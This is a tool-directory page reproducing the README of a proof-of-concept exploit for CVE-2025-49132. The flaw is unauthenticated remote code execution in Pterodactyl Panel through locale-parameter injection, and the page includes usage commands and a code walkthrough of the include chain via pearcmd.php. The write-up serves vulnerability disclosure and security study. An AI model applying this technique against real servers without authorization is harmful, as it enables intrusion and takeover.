Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-49132-PoC — Proof-of-concept exploit for CVE-2025-49132 enabling unauthenticated remote code execution in Pterodactyl Panel <= 1.11.10 via locale parameter injection. Includes check and exploit modes. | Kitploit
Tools/GitHubGitHub/kerburenthusiasm/cve-2025-49132-poc
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubkerburenthusiasm/cve-2025-49132-poc

CVE-2025-49132-PoC

Proof-of-concept exploit for CVE-2025-49132 enabling unauthenticated remote code execution in Pterodactyl Panel <= 1.11.10 via locale parameter injection. Includes check and exploit modes.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
27 months agoNot yet reviewed
Share

CVE-2025-49132-PoC

Proof-of-Concept for CVE-2025-49132 for Remote Code Execution in Pterodactyl Panel <= 1.11.10

This PoC takes references from

  • https://www.exploit-db.com/exploits/52341
  • https://github.com/63square/CVE-2025-49132

Usage

root@kitploit:~
# Check if the web application is vulnerable
python3 poc.py -u <url> -m check

# Do something funny 
python3 poc.py -u <url> -m exploit -p <path_to_pear_dir> -t <path_to_write_to>

Technical Details

Analyzing the git diff of LocaleController.php between v1.11.10 and v1.11.11 (link), we can see that the controller accepts locale and namespace parameters without any validation or sanitization.

To understand why this is dangerous, we will look at the routing configured in panel/routes/base.php. The route explicitly removes authentication-related middleware, allowing unauthenticated users to call /locales/locale.json and supply the required query parameters such as locale and namespace. This means that these parameters are now controlled by the user.

root@kitploit:~
Route::get('/locales/locale.json', Base\LocaleController::class)
    // Remove authentication middleware for this endpoint
    ->withoutMiddleware(['auth', RequireTwoFactorAuthentication::class]);

Moving back to LocalController.php, the following line of code provides the RCE magic.

root@kitploit:~
$this->loader->load($locale, str_replace('.', '/', $namespace))

The load function comes from Laravel's translation framework (here):

root@kitploit:~
public function load($locale, $group, $namespace = null) # 1
{
    if ($group === '*' && $namespace === '*') { # 2
        return $this->loadJsonPaths($locale);
    }

    if (is_null($namespace) || $namespace === '*') { # 3
        return $this->loadPaths($this->paths, $locale, $group); # 4
    } 

    return $this->loadNamespaced($locale, $group, $namespace);
}
  • At #1, we see that the load function takes 3 arguments. Although confusing at first, the value str_replace('.', '/', $namespace) is actually passed to the second argument $group.
  • At #2, we $namespace will never be * since it will always be NULL. Similarly $group will never be * since we can control what is being passed here.
  • At #3, since $namespace is null, the branch will be taken resulting in the execution of loadPaths in #4.

Understanding the above, we move to analyzing loadPaths where the actual magic happens

root@kitploit:~
protected function loadPaths(array $paths, $locale, $group)
{
    return (new Collection($paths))
    ->reduce(function ($output, $path) use ($locale, $group) {
        if ($this->files->exists($full = "{$path}/{$locale}/{$group}.php")) { # 1
            $output = array_replace_recursive($output, $this->files->getRequire($full)); # 2
        }

        return $output;
    }, []);
}
  • At #1, the loader constructs the expected translation filename by appending .php.
  • At #2, if that file exists, it is loaded via getRequire(), which executes the PHP file and returns its array.

Since we control the namespace URL parameter, we can influence which file the application attempts to load. By supplying a value that maps to a .php script, we can get the server to execute that script. For example, to load phpinfo.php, we can set the parameter to: namespace=phpinfo

PoC Explanations

The PoC attempts to perform arbitrary file write through the pearcmd.php. This method have been utilized in many similar PoCs and security research

  • https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/
  • https://medium.com/@lashin0x/local-file-inclusion-to-remote-code-execution-rce-bea0ec06342a

Note that pearcmd.php can be located in different directories such as

  • /usr/share/php/pearcmd.php
  • /usr/share/php/PEAR/pearcmd.php
  • /usr/lib/php/pearcmd.php

and many more.

The file being written will contain the typical malicious PHP code.

Disclaimer / Responsible Use

For authorized testing only. Do not use on systems you do not own or have explicit permission to test.
You are responsible for complying with all applicable laws; the authors assume no liability for misuse.

Issue

Python requests library is a little tooo helpful as it encodes characters in the provided URL. Spend a long time trying to resolve this issue and ended up just using curl directly. Appreciate, if anyone can provide some help for this issue.

Download Tool